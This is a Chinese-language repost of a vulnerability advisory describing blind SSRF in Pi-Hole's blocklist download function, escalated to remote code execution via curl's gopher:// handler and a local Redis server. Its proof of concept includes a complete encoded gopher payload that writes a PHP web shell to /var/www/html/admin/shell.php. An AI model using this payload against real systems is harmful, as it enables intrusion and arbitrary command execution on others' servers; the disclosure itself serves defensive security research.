盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

admin 2024年7月18日14:53:27评论26 views字数 1879阅读6分15秒阅读模式

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

概括

再次问好!😀

Pi-Hole 中发现了一个漏洞,允许经过身份验证的用户通过“gravity_DownloadBlocklistFromUrl()”函数向服务器发出内部请求。在某些情况下,该漏洞可能导致远程命令执行

细节

在对“gravity_DownloadBlocklistFromUrl()”函数的运行进行一些测试时,检测到一个漏洞,该漏洞允许经过身份验证的攻击者使用不同的协议向服务器发出内部请求,根据特定情况,这可能导致在服务器上远程执行命令。

在这种情况下,“file://”处理程序得到正确控制,因此如果不使用 e,则会理解为将使用“http://”或“https://”。

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

主要问题在于允许用户从本地 IP 地址(例如 127.0.0.1、localhost 或其他)下载“广告”文件。

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

除此之外,还必须添加“curl”命令接受的各种通信协议,以发出请求,例如“ftp://”、“smb://”、“ldap://”、“gopher://”等等。

正如您在下图中看到的,使用“ftp://”处理程序在本地端口 21 上接收到请求。

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

接下来,为了将此漏洞升级为远程命令执行,使用了“gopher://”处理程序。

gopher://”协议旨在以结构化方式分发、搜索和访问互联网文档。尽管随着 HTTP 协议的普及,gopher:// 已不再使用,但一些工具和库(如“curl”)仍支持该协议,这在现代环境中可能带来安全风险,尤其是在服务器端请求伪造 (SSRF) 攻击中。

如下图所示,通过“gopher://”协议发送的换行符“%0A”被在端口 1234 上打开的本地服务器正确解释。

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

如果安装 Pi-Hole 的服务器正在运行其中一些服务(mysql、postgresql、fastcgi、redis、smtp、zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache),则可以利用 SSRF 漏洞和 curl 命令接受的“gopher://”协议实现远程命令执行。

就我而言,我在我的树莓派上安装了一个 redis 服务器,因此它已经被用来扩展到 RCE。

通过发送特制的payload,通过SSRF漏洞,我可以通过“gopher://”协议与我的redis服务器进行通信,从而允许我创建一个带有恶意payload的PHP文件并将其存储在/var/www/html/admin中,从而允许远程命令执行。

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

概念证明

步骤 1:连接到 Pihole

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

第2步:安装 redis-server

wget https://download.redis.io/releases/redis-6.0.3.tar.gztar -xvf redis-6.0.3.tar.gzcd redis-6.0.3makecd src/sudo ./redis-server

步骤3:转到“Adlists”部分并添加有效负载以与内部redis服务器进行通信,并在/var/www/html/admin中创建恶意PHP文件。

这是使用的有效载荷

(gopher://127.0.0. 1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%24 6%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2419%0D%0A/var/www/html/admin%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A)

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

步骤4:进入“工具”-->“更新Gravity”,点击“更新”。

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

第五步:通过浏览器访问http://PIHOLE-IP/admin/shell.php,通过cmd参数即可在服务器上执行远程命令。

盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

影响:攻击者可以通过不同的协议向服务器发出内部请求,具体取决于服务器内部运行的服务,从而导致在服务器上远程执行命令。

原文始发于微信公众号(Ots安全):盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月18日14:53:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)https://cn-sec.com/archives/2969717.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息